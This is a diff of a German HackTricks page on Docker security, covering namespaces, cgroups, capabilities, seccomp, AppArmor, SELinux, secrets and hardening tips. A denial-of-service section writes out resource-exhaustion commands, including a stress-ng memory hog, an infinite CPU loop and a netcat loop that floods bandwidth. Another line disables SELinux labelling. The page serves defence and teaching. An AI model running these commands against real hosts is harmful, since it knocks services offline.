-Es ist standardmäßig in Docker aktiviert. Es hilft, die **Syscalls weiter einzuschränken**, die der Prozess aufrufen kann.\
+Es ist standardmäßig in Docker aktiviert. Es hilft, die Syscalls, die der Prozess aufrufen kann, noch weiter zu **beschränken**.\
Das **Standard-Docker-Seccomp-Profil** finden Sie unter [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
**AppArmor**
-Docker hat eine Vorlage, die Sie aktivieren können: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
+Docker verfügt über eine Vorlage, die Sie aktivieren können: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
-Dies ermöglicht es, die Fähigkeiten, Syscalls, den Zugriff auf Dateien und Ordner zu reduzieren...
+Dies ermöglicht die Reduzierung von Fähigkeiten, Syscalls, den Zugriff auf Dateien und Ordner...
### Namespaces
-**Namespaces** sind eine Funktion des Linux-Kernels, die den Kernelressourcen so aufteilen, dass eine Gruppe von **Prozessen** einen Satz von **Ressourcen** sieht, während eine **andere** Gruppe von **Prozessen** einen **anderen** Satz von Ressourcen sieht. Die Funktion funktioniert so, dass für einen Satz von Ressourcen und Prozessen der gleiche Namespace vorhanden ist, aber diese Namespace beziehen sich auf unterschiedliche Ressourcen. Ressourcen können in mehreren Spaces existieren.
+**Namespaces** sind ein Feature des Linux-Kernels, das **Kernelressourcen partitioniert**, sodass eine Gruppe von **Prozessen** einen Satz von **Ressourcen sieht**, während eine **andere** Gruppe von **Prozessen** einen **anderen** Satz von Ressourcen sieht. Das Feature funktioniert, indem für einen Satz von Ressourcen und Prozessen der gleiche Namespace vorhanden ist, aber diese Namespaces beziehen sich auf unterschiedliche Ressourcen. Ressourcen können in mehreren Bereichen existieren.
Docker verwendet die folgenden Linux-Kernel-Namespaces, um die Isolierung von Containern zu erreichen:
@@ -170,7 +173,7 @@ Docker verwendet die folgenden Linux-Kernel-Namespaces, um die Isolierung von Co
* ipc-Namespace
* UTS-Namespace
-Für **weitere Informationen zu den Namespaces** siehe die folgende Seite:
+Für **weitere Informationen zu den Namespaces** besuchen Sie die folgende Seite:
{% content-ref url="namespaces/" %}
[namespaces](namespaces/)
@@ -178,12 +181,12 @@ Für **weitere Informationen zu den Namespaces** siehe die folgende Seite:
### cgroups
-Das Linux-Kernel-Feature **cgroups** bietet die Möglichkeit, Ressourcen wie CPU, Speicher, IO und Netzwerkbandbreite für eine Gruppe von Prozessen einzuschränken. Docker ermöglicht die Erstellung von Containern mit der cgroup-Funktion, die eine Ressourcenkontrolle für den spezifischen Container ermöglicht.\
-Im Folgenden wird ein Container erstellt, bei dem der Benutzerspeicher auf 500 MB begrenzt ist, der Kernelspeicher auf 50 MB, der CPU-Anteil auf 512 und das blkio-Gewicht auf 400. Der CPU-Anteil ist ein Verhältnis, das die CPU-Nutzung des Containers steuert. Es hat einen Standardwert von 1024 und einen Bereich zwischen 0 und 1024. Wenn drei Container den gleichen CPU-Anteil von 1024 haben, kann jeder Container bei CPU-Ressourcenkonflikten bis zu 33% der CPU nutzen. blkio-weight ist ein Verhältnis, das die IO des Containers steuert. Es hat einen Standardwert von 500 und einen Bereich zwischen 10 und 1000.
+Das Linux-Kernel-Feature **cgroups** bietet die Möglichkeit, Ressourcen wie CPU, Speicher, IO, Netzwerkbandbreite unter einer Gruppe von Prozessen zu **beschränken**. Docker ermöglicht die Erstellung von Containern unter Verwendung des cgroup-Features, das eine Ressourcensteuerung für den spezifischen Container ermöglicht.\
+Im Folgenden wird ein Container erstellt, dessen Benutzerspeicher auf 500 MB begrenzt ist, der Kernelspeicher auf 50 MB begrenzt ist, der CPU-Anteil auf 512, und das Blkioweight auf 400. Der CPU-Anteil ist ein Verhältnis, das die CPU-Nutzung des Containers steuert. Er hat einen Standardwert von 1024 und liegt zwischen 0 und 1024. Wenn drei Container den gleichen CPU-Anteil von 1024 haben, kann jeder Container bei CPU-Ressourcenkonflikten bis zu 33 % der CPU nutzen. blkio-weight ist ein Verhältnis, das die IO des Containers steuert. Es hat einen Standardwert von 500 und liegt zwischen 10 und 1000.
```
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
```
-Um den cgroup eines Containers zu erhalten, können Sie Folgendes tun:
+Um die cgroup eines Containers zu erhalten, können Sie Folgendes tun:
```bash
docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian container
ps -ef | grep 1234 #Get info about the sleep process
@@ -197,9 +200,9 @@ Für weitere Informationen siehe:
### Berechtigungen
-Berechtigungen ermöglichen eine genauere Kontrolle über die Berechtigungen, die für den Root-Benutzer zugelassen werden können. Docker verwendet das Linux-Kernel-Fähigkeiten-Feature, um die Operationen, die innerhalb eines Containers durchgeführt werden können, unabhängig von der Art des Benutzers, einzuschränken.
+Berechtigungen ermöglichen eine genauere Kontrolle über die Berechtigungen, die für den Root-Benutzer zugelassen werden können. Docker verwendet das Linux-Kernel-Berechtigungsmerkmal, um die Operationen zu begrenzen, die innerhalb eines Containers durchgeführt werden können, unabhängig vom Typ des Benutzers.
-Wenn ein Docker-Container ausgeführt wird, werden die sensiblen Berechtigungen, die der Prozess verwenden könnte, um aus der Isolation auszubrechen, verworfen. Dadurch wird sichergestellt, dass der Prozess keine sensiblen Aktionen durchführen und ausbrechen kann:
+Wenn ein Docker-Container ausgeführt wird, verwirft der Prozess sensible Berechtigungen, die der Prozess verwenden könnte, um aus der Isolation auszubrechen. Dies soll sicherstellen, dass der Prozess keine sensiblen Aktionen ausführen und ausbrechen kann:
{% content-ref url="../linux-capabilities.md" %}
[linux-capabilities.md](../linux-capabilities.md)
@@ -207,7 +210,7 @@ Wenn ein Docker-Container ausgeführt wird, werden die sensiblen Berechtigungen,
### Seccomp in Docker
-Dies ist eine Sicherheitsfunktion, die Docker ermöglicht, die Systemaufrufe einzuschränken, die innerhalb des Containers verwendet werden können:
+Dies ist eine Sicherheitsfunktion, die es Docker ermöglicht, die Systemaufrufe zu begrenzen, die innerhalb des Containers verwendet werden können:
{% content-ref url="seccomp.md" %}
[seccomp.md](seccomp.md)
@@ -215,7 +218,7 @@ Dies ist eine Sicherheitsfunktion, die Docker ermöglicht, die Systemaufrufe ein
### AppArmor in Docker
-AppArmor ist eine Kernel-Erweiterung, um Container auf eine begrenzte Menge von Ressourcen mit pro-Programm-Profilen einzuschränken:
+AppArmor ist eine Kernel-Erweiterung, um Container auf eine begrenzte Menge von Ressourcen mit pro-Programmprofilen zu beschränken:
{% content-ref url="apparmor.md" %}
[apparmor.md](apparmor.md)
@@ -223,13 +226,13 @@ AppArmor ist eine Kernel-Erweiterung, um Container auf eine begrenzte Menge von
### SELinux in Docker
-- **Labeling-System**: SELinux weist jedem Prozess und jedem Dateisystemobjekt ein eindeutiges Label zu.
-- **Policy Enforcement**: Es setzt Sicherheitsrichtlinien durch, die festlegen, welche Aktionen ein Prozesslabel auf andere Labels im System ausführen kann.
-- **Container-Prozess-Labels**: Wenn Container-Engines Container-Prozesse starten, erhalten sie in der Regel ein eingeschränktes SELinux-Label, üblicherweise `container_t`.
-- **Datei-Labeling innerhalb von Containern**: Dateien innerhalb des Containers werden normalerweise als `container_file_t` gekennzeichnet.
-- **Richtlinienregeln**: Die SELinux-Richtlinie stellt in erster Linie sicher, dass Prozesse mit dem Label `container_t` nur mit Dateien interagieren (lesen, schreiben, ausführen) können, die als `container_file_t` gekennzeichnet sind.
+* **Beschriftungssystem**: SELinux weist jedem Prozess und Dateisystemobjekt ein eindeutiges Label zu.
+* **Richtliniendurchsetzung**: Es setzt Sicherheitsrichtlinien durch, die definieren, welche Aktionen ein Prozesslabel auf andere Labels im System ausführen kann.
+* **Container-Prozesslabels**: Wenn Container-Engines Containerprozesse initiieren, werden ihnen in der Regel eingeschränkte SELinux-Labels zugewiesen, üblicherweise `container_t`.
+* **Dateibeschriftung innerhalb von Containern**: Dateien innerhalb des Containers sind normalerweise als `container_file_t` gekennzeichnet.
+* **Richtlinienregeln**: Die SELinux-Richtlinie stellt hauptsächlich sicher, dass Prozesse mit dem Label `container_t` nur mit Dateien interagieren (lesen, schreiben, ausführen) können, die als `container_file_t` gekennzeichnet sind.
-Dieser Mechanismus stellt sicher, dass selbst wenn ein Prozess innerhalb eines Containers kompromittiert ist, er nur mit Objekten interagieren kann, die die entsprechenden Labels haben, und begrenzt somit den potenziellen Schaden solcher Kompromittierungen erheblich.
+Dieser Mechanismus stellt sicher, dass selbst wenn ein Prozess innerhalb eines Containers kompromittiert ist, er nur mit Objekten interagieren kann, die über die entsprechenden Labels verfügen, was das potenzielle Schadensausmaß solcher Kompromittierungen erheblich einschränkt.
{% content-ref url="../selinux.md" %}
[selinux.md](../selinux.md)
@@ -237,12 +240,12 @@ Dieser Mechanismus stellt sicher, dass selbst wenn ein Prozess innerhalb eines C
### AuthZ & AuthN
-In Docker spielt ein Autorisierungsplugin eine entscheidende Rolle für die Sicherheit, indem es darüber entscheidet, ob Anfragen an den Docker-Daemon zugelassen oder blockiert werden. Diese Entscheidung wird durch die Prüfung von zwei Schlüsselkontexten getroffen:
+In Docker spielt ein Autorisierungsplugin eine entscheidende Rolle für die Sicherheit, indem es entscheidet, ob Anfragen an den Docker-Daemon zugelassen oder blockiert werden sollen. Diese Entscheidung wird durch die Prüfung von zwei Schlüsselkontexten getroffen:
-- **Authentifizierungskontext**: Dies umfasst umfassende Informationen über den Benutzer, wie z.B. wer sie sind und wie sie sich authentifiziert haben.
-- **Befehlskontext**: Dies umfasst alle relevanten Daten, die mit der gestellten Anfrage zusammenhängen.
+* **Authentifizierungskontext**: Dies umfasst umfassende Informationen über den Benutzer, wie z.B. wer sie sind und wie sie sich authentifiziert haben.
+* **Befehlskontext**: Dies umfasst alle relevanten Daten, die mit der gestellten Anfrage zusammenhängen.
-Diese Kontexte gewährleisten, dass nur legitime Anfragen von authentifizierten Benutzern verarbeitet werden, was die Sicherheit der Docker-Operationen erhöht.
+Diese Kontexte helfen sicherzustellen, dass nur legitime Anfragen von authentifizierten Benutzern verarbeitet werden, was die Sicherheit der Docker-Operationen erhöht.
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
@@ -250,7 +253,7 @@ Diese Kontexte gewährleisten, dass nur legitime Anfragen von authentifizierten
## DoS aus einem Container
-Wenn Sie die Ressourcen, die ein Container verwenden kann, nicht ordnungsgemäß begrenzen, kann ein kompromittierter Container den Host, auf dem er ausgeführt wird, DoS (Denial of Service) verursachen.
+Wenn Sie die Ressourcen, die ein Container verwenden kann, nicht ordnungsgemäß begrenzen, könnte ein kompromittierter Container den Host, auf dem er läuft, DoS-angreifen.
* CPU-DoS
```bash
@@ -260,21 +263,15 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t
# While loop
docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done'
```
-*Bandbreiten-DoS*
-
-Ein Bandbreiten-DoS (Denial-of-Service) ist eine Art von Angriff, bei dem ein Angreifer versucht, die verfügbare Bandbreite eines Netzwerks oder einer bestimmten Verbindung zu überlasten, um den normalen Datenverkehr zu blockieren oder zu verlangsamen. Dies kann durch das Senden einer großen Anzahl von Datenpaketen oder das Ausnutzen von Schwachstellen in der Netzwerkinfrastruktur erreicht werden.
-
-Ein Bandbreiten-DoS-Angriff kann schwerwiegende Auswirkungen haben, da er dazu führen kann, dass legitimer Datenverkehr nicht mehr durchkommt und Dienste oder Systeme nicht mehr erreichbar sind. Um sich vor einem solchen Angriff zu schützen, sollten Netzwerkadministratoren geeignete Sicherheitsmaßnahmen ergreifen, wie z.B. die Überwachung des Netzwerkverkehrs, die Begrenzung der Bandbreite für bestimmte Verbindungen und die Implementierung von Firewalls und Intrusion Detection Systemen.
-
-Es ist auch wichtig, regelmäßig Sicherheitsupdates für die Netzwerkinfrastruktur durchzuführen, um bekannte Schwachstellen zu beheben und potenzielle Angriffsvektoren zu minimieren. Darüber hinaus können Netzwerkadministratoren den Datenverkehr überwachen und verdächtige Aktivitäten erkennen, um schnell auf einen Bandbreiten-DoS-Angriff reagieren zu können.
+* Bandbreiten-DoS
```bash
nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc 4444; done
```
## Interessante Docker-Flags
-### --privileged-Flag
+### --privileged Flag
-Auf der folgenden Seite können Sie erfahren, **was das `--privileged`-Flag bedeutet**:
+Auf der folgenden Seite können Sie lernen, **was das `--privileged`-Flag bedeutet**:
{% content-ref url="docker-privileged.md" %}
[docker-privileged.md](docker-privileged.md)
@@ -284,9 +281,9 @@ Auf der folgenden Seite können Sie erfahren, **was das `--privileged`-Flag bede
#### no-new-privileges
-Wenn Sie einen Container ausführen, in dem ein Angreifer Zugriff als Benutzer mit niedrigen Privilegien erhält. Wenn Sie eine **fehlerhaft konfigurierte SUID-Binärdatei** haben, kann der Angreifer diese missbrauchen und **Privilegien innerhalb** des Containers eskalieren. Dadurch kann er möglicherweise daraus entkommen.
+Wenn Sie einen Container ausführen, in dem ein Angreifer Zugriff als Benutzer mit niedrigen Berechtigungen erhält. Wenn Sie eine **falsch konfigurierte suid-Binärdatei** haben, kann der Angreifer sie missbrauchen und **Berechtigungen innerhalb** des Containers **eskaliert**, was es ihm ermöglichen könnte, daraus zu entkommen.
-Das Ausführen des Containers mit der aktivierten Option **`no-new-privileges`** wird **diese Art der Privilegieneskalation verhindern**.
+Das Ausführen des Containers mit der Option **`no-new-privileges`** aktiviert verhindert diese Art von Berechtigungserweiterung.
```
docker run -it --security-opt=no-new-privileges:true nonewpriv
```
@@ -305,29 +302,29 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv
# You can manually disable selinux in docker with
--security-opt label:disable
```
-Für weitere **`--security-opt`**-Optionen siehe: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
+Für weitere **`--security-opt`** Optionen siehe: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
## Weitere Sicherheitsüberlegungen
### Verwaltung von Geheimnissen: Best Practices
-Es ist entscheidend, Geheimnisse nicht direkt in Docker-Images einzubetten oder Umgebungsvariablen zu verwenden, da diese Methoden sensible Informationen für jeden freigeben, der über Befehle wie `docker inspect` oder `exec` auf den Container zugreifen kann.
+Es ist entscheidend, Geheimnisse nicht direkt in Docker-Images einzubetten oder Umgebungsvariablen zu verwenden, da diese Methoden Ihre sensiblen Informationen für jeden freigeben, der über Befehle wie `docker inspect` oder `exec` Zugriff auf den Container hat.
-**Docker-Volumes** sind eine sicherere Alternative, die empfohlen wird, um auf sensible Informationen zuzugreifen. Sie können als temporäres Dateisystem im Speicher genutzt werden, um die Risiken von `docker inspect` und Logging zu verringern. Allerdings können Root-Benutzer und solche mit `exec`-Zugriff auf den Container immer noch auf die Geheimnisse zugreifen.
+**Docker-Volumes** sind eine sicherere Alternative, die empfohlen wird, um auf sensible Informationen zuzugreifen. Sie können als temporäres Dateisystem im Speicher genutzt werden, um die Risiken im Zusammenhang mit `docker inspect` und Logging zu mindern. Allerdings können Root-Benutzer und solche mit `exec`-Zugriff auf den Container immer noch auf die Geheimnisse zugreifen.
-**Docker-Secrets** bieten eine noch sicherere Methode zur Handhabung sensibler Informationen. Für Fälle, in denen während der Image-Build-Phase Geheimnisse benötigt werden, bietet **BuildKit** eine effiziente Lösung mit Unterstützung für Build-Zeit-Geheimnisse, die die Build-Geschwindigkeit verbessern und zusätzliche Funktionen bieten.
+**Docker-Secrets** bieten eine noch sicherere Methode zur Handhabung sensibler Informationen. Für Fälle, in denen während der Image-Build-Phase Geheimnisse erforderlich sind, bietet **BuildKit** eine effiziente Lösung mit Unterstützung für Buildzeit-Geheimnisse, die die Build-Geschwindigkeit verbessern und zusätzliche Funktionen bereitstellen.
Um BuildKit zu nutzen, kann es auf drei Arten aktiviert werden:
1. Über eine Umgebungsvariable: `export DOCKER_BUILDKIT=1`
2. Durch Voranstellen von Befehlen: `DOCKER_BUILDKIT=1 docker build .`
-3. Durch Aktivieren als Standard in der Docker-Konfiguration: `{ "features": { "buildkit": true } }`, gefolgt von einem Neustart von Docker.
+3. Durch die Aktivierung als Standard in der Docker-Konfiguration: `{ "features": { "buildkit": true } }`, gefolgt von einem Neustart von Docker.
-BuildKit ermöglicht die Verwendung von Build-Zeit-Geheimnissen mit der `--secret`-Option, um sicherzustellen, dass diese Geheimnisse nicht im Image-Build-Cache oder im endgültigen Image enthalten sind. Verwenden Sie dazu einen Befehl wie:
+BuildKit ermöglicht die Verwendung von Buildzeit-Geheimnissen mit der `--secret` Option, um sicherzustellen, dass diese Geheimnisse nicht im Image-Build-Cache oder im endgültigen Image enthalten sind, unter Verwendung eines Befehls wie:
```bash
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
```
-Für in einem laufenden Container benötigte Geheimnisse bieten **Docker Compose und Kubernetes** robuste Lösungen. Docker Compose verwendet einen `secrets`-Schlüssel in der Service-Definition, um geheime Dateien anzugeben, wie im folgenden Beispiel einer `docker-compose.yml`-Datei gezeigt:
+Für benötigte Geheimnisse in einem laufenden Container bieten **Docker Compose und Kubernetes** robuste Lösungen. Docker Compose verwendet einen `secrets`-Schlüssel in der Service-Definition zur Angabe von Geheimdateien, wie im folgenden Beispiel einer `docker-compose.yml` gezeigt:
```yaml
version: "3.7"
services:
@@ -342,48 +339,48 @@ file: ./my_secret_file.txt
```
Diese Konfiguration ermöglicht die Verwendung von Secrets beim Starten von Diensten mit Docker Compose.
-In Kubernetes-Umgebungen werden Secrets nativ unterstützt und können mit Tools wie [Helm-Secrets](https://github.com/futuresimple/helm-secrets) weiter verwaltet werden. Die Role Based Access Controls (RBAC) von Kubernetes verbessern die Sicherheit der Secret-Verwaltung, ähnlich wie bei Docker Enterprise.
+In Kubernetes-Umgebungen werden Secrets nativ unterstützt und können mit Tools wie [Helm-Secrets](https://github.com/futuresimple/helm-secrets) weiter verwaltet werden. Die rollenbasierte Zugriffskontrolle (RBAC) von Kubernetes verbessert die Sicherheit des Secret-Managements, ähnlich wie bei Docker Enterprise.
### gVisor
-**gVisor** ist ein Anwendungskernel, der in Go geschrieben ist und einen erheblichen Teil der Linux-Systemoberfläche implementiert. Er enthält eine [Open Container Initiative (OCI)](https://www.opencontainers.org)-Laufzeitumgebung namens `runsc`, die eine **Isolierungsgrenze zwischen der Anwendung und dem Host-Kernel** bereitstellt. Die `runsc`-Laufzeitumgebung integriert sich nahtlos mit Docker und Kubernetes, sodass es einfach ist, Sandbox-Container auszuführen.
+**gVisor** ist ein Anwendungskernel, der in Go geschrieben ist und einen erheblichen Teil der Linux-Systemoberfläche implementiert. Es enthält einen [Open Container Initiative (OCI)](https://www.opencontainers.org)-Laufzeitnamens `runsc`, der eine **Isolierungsgrenze zwischen der Anwendung und dem Host-Kernel** bereitstellt. Die `runsc`-Laufzeit integriert sich mit Docker und Kubernetes und macht es einfach, Sandbox-Container auszuführen.
{% embed url="https://github.com/google/gvisor" %}
### Kata Containers
-**Kata Containers** ist eine Open-Source-Community, die daran arbeitet, eine sichere Container-Laufzeitumgebung mit leichten virtuellen Maschinen zu entwickeln, die sich wie Container anfühlen und verhalten, aber durch die Verwendung von Hardware-Virtualisierungstechnologie eine **stärkere Workload-Isolierung** als zweite Verteidigungsebene bieten.
+**Kata Containers** ist eine Open-Source-Community, die daran arbeitet, eine sichere Container-Laufzeitumgebung mit leichten virtuellen Maschinen zu erstellen, die sich wie Container anfühlen und verhalten, aber eine **stärkere Workload-Isolierung unter Verwendung der Hardware-Virtualisierung** als zweite Verteidigungsebene bieten.
{% embed url="https://katacontainers.io/" %}
-### Zusammenfassung und Tipps
+### Zusammenfassung der Tipps
-* Verwenden Sie nicht die `--privileged`-Flagge oder mounten Sie nicht einen [Docker-Socket innerhalb des Containers](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/). Der Docker-Socket ermöglicht das Starten von Containern und ist daher ein einfacher Weg, um die volle Kontrolle über den Host zu erlangen, z.B. durch das Ausführen eines anderen Containers mit der `--privileged`-Flagge.
-* Führen Sie im Container nicht als Root aus. Verwenden Sie einen [anderen Benutzer](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) und [Benutzernamensräume](https://docs.docker.com/engine/security/userns-remap/). Der Root im Container ist derselbe wie auf dem Host, es sei denn, er wird mit Benutzernamensräumen umgeleitet. Er ist nur leicht eingeschränkt durch Linux-Namespaces, Fähigkeiten und cgroups.
-* [Deaktivieren Sie alle Fähigkeiten](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) (`--cap-drop=all`) und aktivieren Sie nur diejenigen, die benötigt werden (`--cap-add=...`). Viele Workloads benötigen keine Fähigkeiten, und das Hinzufügen von Fähigkeiten erhöht den Umfang eines potenziellen Angriffs.
-* Verwenden Sie die Sicherheitsoption "no-new-privileges", um zu verhindern, dass Prozesse weitere Privilegien erlangen, z.B. durch suid-Binärdateien.
-* Begrenzen Sie die Ressourcen, die dem Container zur Verfügung stehen. Ressourcenbeschränkungen können die Maschine vor Denial-of-Service-Angriffen schützen.
-* Passen Sie die Profile von [seccomp](https://docs.docker.com/engine/security/seccomp/), [AppArmor](https://docs.docker.com/engine/security/apparmor/) (oder SELinux) an, um die Aktionen und Systemaufrufe, die für den Container verfügbar sind, auf das Minimum zu beschränken.
-* Verwenden Sie offizielle Docker-Images und verlangen Sie Signaturen oder erstellen Sie eigene Images basierend auf ihnen. Vererben oder verwenden Sie keine [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/)-Images. Speichern Sie auch Root-Schlüssel und Passphrase an einem sicheren Ort. Docker plant, Schlüssel mit UCP zu verwalten.
-* Erstellen Sie regelmäßig Ihre Images neu, um Sicherheitspatches auf den Host und die Images anzuwenden.
-* Verwalten Sie Ihre Secrets sorgfältig, damit es für den Angreifer schwierig ist, darauf zuzugreifen.
+* Verwenden Sie nicht das `--privileged`-Flag oder binden Sie einen **Docker-Socket innerhalb des Containers** ein. Der Docker-Socket ermöglicht das Starten von Containern und ist daher ein einfacher Weg, um die volle Kontrolle über den Host zu übernehmen, beispielsweise durch Ausführen eines anderen Containers mit dem `--privileged`-Flag.
+* Führen Sie nicht als Root innerhalb des Containers aus. Verwenden Sie einen **anderen Benutzer** und **Benutzernamensräume**. Der Root im Container ist derselbe wie auf dem Host, es sei denn, er wird mit Benutzernamensräumen neu zugeordnet. Er wird nur leicht durch hauptsächlich Linux-Namespaces, Fähigkeiten und cgroups eingeschränkt.
+* **Verwerfen Sie alle Fähigkeiten** (`--cap-drop=all`) und aktivieren Sie nur diejenigen, die erforderlich sind (`--cap-add=...`). Viele Workloads benötigen keine Fähigkeiten, und das Hinzufügen von ihnen erhöht den Umfang eines potenziellen Angriffs.
+* Verwenden Sie die Sicherheitsoption **"no-new-privileges"**, um zu verhindern, dass Prozesse mehr Berechtigungen erlangen, beispielsweise durch suid-Binärdateien.
+* **Begrenzen Sie die Ressourcen, die dem Container zur Verfügung stehen**. Ressourcenbeschränkungen können die Maschine vor Denial-of-Service-Angriffen schützen.
+* Passen Sie die **seccomp**, **AppArmor** (oder SELinux)-Profile an, um die Aktionen und Systemaufrufe, die für den Container verfügbar sind, auf das erforderliche Minimum zu beschränken.
+* Verwenden Sie **offizielle Docker-Images** und verlangen Sie Signaturen oder erstellen Sie Ihre eigenen darauf basierend. Vererben oder verwenden Sie keine mit Hintertüren versehenen Images. Speichern Sie auch Root-Schlüssel und Passphrasen an einem sicheren Ort. Docker plant, Schlüssel mit UCP zu verwalten.
+* **Erstellen Sie regelmäßig** Ihre Images neu, um **Sicherheitspatches auf dem Host und den Images anzuwenden**.
+* Verwalten Sie Ihre **Secrets klug**, damit es für den Angreifer schwierig ist, darauf zuzugreifen.
* Wenn Sie den Docker-Daemon freigeben, verwenden Sie HTTPS mit Client- und Serverauthentifizierung.
-* Verwenden Sie in Ihrem Dockerfile bevorzugt COPY anstelle von ADD. ADD entpackt automatisch komprimierte Dateien und kann Dateien von URLs kopieren. COPY hat diese Funktionen nicht. Vermeiden Sie es, ADD zu verwenden, um nicht anfällig für Angriffe über Remote-URLs und Zip-Dateien zu sein.
-* Verwenden Sie separate Container für jeden Mikrodienst.
-* Fügen Sie kein SSH in den Container ein. "docker exec" kann verwendet werden, um eine SSH-Verbindung zum Container herzustellen.
-* Verwenden Sie kleinere Container-Images.
+* Verwenden Sie in Ihrem Dockerfile **COPY anstelle von ADD**. ADD extrahiert automatisch komprimierte Dateien und kann Dateien von URLs kopieren. COPY verfügt nicht über diese Funktionen. Vermeiden Sie nach Möglichkeit die Verwendung von ADD, um nicht anfällig für Angriffe über Remote-URLs und Zip-Dateien zu sein.
+* Verwenden Sie **getrennte Container für jeden Mikrodienst**.
+* **Fügen Sie kein SSH** in den Container ein, "docker exec" kann verwendet werden, um eine SSH-Verbindung zum Container herzustellen.
+* Verwenden Sie **kleinere** Container-Images.
-## Docker Breakout / Privilege Escalation
+## Docker Ausbruch / Privilege Escalation
-Wenn Sie sich **innerhalb eines Docker-Containers** befinden oder Zugriff auf einen Benutzer in der **Docker-Gruppe** haben, können Sie versuchen, auszubrechen und Privilegien zu eskalieren:
+Wenn Sie **innerhalb eines Docker-Containers** sind oder Zugriff auf einen Benutzer in der **Docker-Gruppe** haben, könnten Sie versuchen, **auszubrechen und Berechtigungen zu eskalieren**:
{% content-ref url="docker-breakout-privilege-escalation/" %}
[docker-breakout-privilege-escalation](docker-breakout-privilege-escalation/)
{% endcontent-ref %}
-## Docker Authentication Plugin Bypass
+## Docker-Authentifizierungsplugin-Umgehung
-Wenn Sie Zugriff auf den Docker-Socket haben oder Zugriff auf einen Benutzer in der **Docker-Gruppe haben, aber Ihre Aktionen durch ein Docker-Authentifizierungsplugin eingeschränkt sind**, überprüfen Sie, ob Sie es umgehen können:
+Wenn Sie Zugriff auf den Docker-Socket haben oder Zugriff auf einen Benutzer in der **Docker-Gruppe haben, aber Ihre Aktionen durch ein Docker-Authentifizierungsplugin eingeschränkt sind**, überprüfen Sie, ob Sie es **umgehen können**:
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
@@ -391,8 +388,8 @@ Wenn Sie Zugriff auf den Docker-Socket haben oder Zugriff auf einen Benutzer in
## Absicherung von Docker
-* Das Tool [docker-bench-security](https://github.com/docker/docker-bench-security) ist ein Skript, das Dutzende von gängigen Best Practices für die Bereitstellung von Docker-Containern in der Produktion überprüft. Die Tests sind alle automatisiert und basieren auf dem [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
-Sie müssen das Tool auf dem Host ausführen, auf dem Docker läuft, oder in einem Container mit ausreichenden Berechtigungen. Erfahren Sie **in der README**, wie Sie es ausführen: [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
+* Das Tool [**docker-bench-security**](https://github.com/docker/docker-bench-security) ist ein Skript, das Dutzende gängiger Best Practices für das Bereitstellen von Docker-Containern in der Produktion überprüft. Die Tests sind alle automatisiert und basieren auf dem [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
+Sie müssen das Tool auf dem Host ausführen, auf dem Docker ausgeführt wird, oder in einem Container mit ausreichenden Berechtigungen. Erfahren Sie, **wie Sie es in der README ausführen können:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
## Referenzen
@@ -404,13 +401,29 @@ Sie müssen das Tool auf dem Host ausführen, auf dem Docker läuft, oder in ein
* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/)
* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-4container-image/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-4container-image/)
* [https://en.wikipedia.org/wiki/Linux\_namespaces](https://en.wikipedia.org/wiki/Linux\_namespaces)
-*
-Andere Möglichkeiten, HackTricks zu unterstützen:
+* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
+* [https://www.redhat.com/sysadmin/privileged-flag-container-engines](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
+* [https://docs.docker.com/engine/extend/plugins\_authorization](https://docs.docker.com/engine/extend/plugins\_authorization)
+* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
+* [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/)
-* Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die [ABONNEMENTPLÄNE](https://github.com/sponsors/carlospolop)!
-* Holen Sie sich das [offizielle PEASS & HackTricks-Merchandise](https://peass.creator-spring.com)
-* Entdecken Sie [The PEASS Family](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [NFTs](https://opensea.io/collection/the-peass-family)
-* Treten Sie der 💬 [Discord-Gruppe](https://discord.gg/hRep4RUj7f) oder der [Telegram-Gruppe](https://t.me/peass) bei oder folgen Sie uns auf Twitter 🐦 [@carlospolopm](https://twitter.com/hacktricks_live).
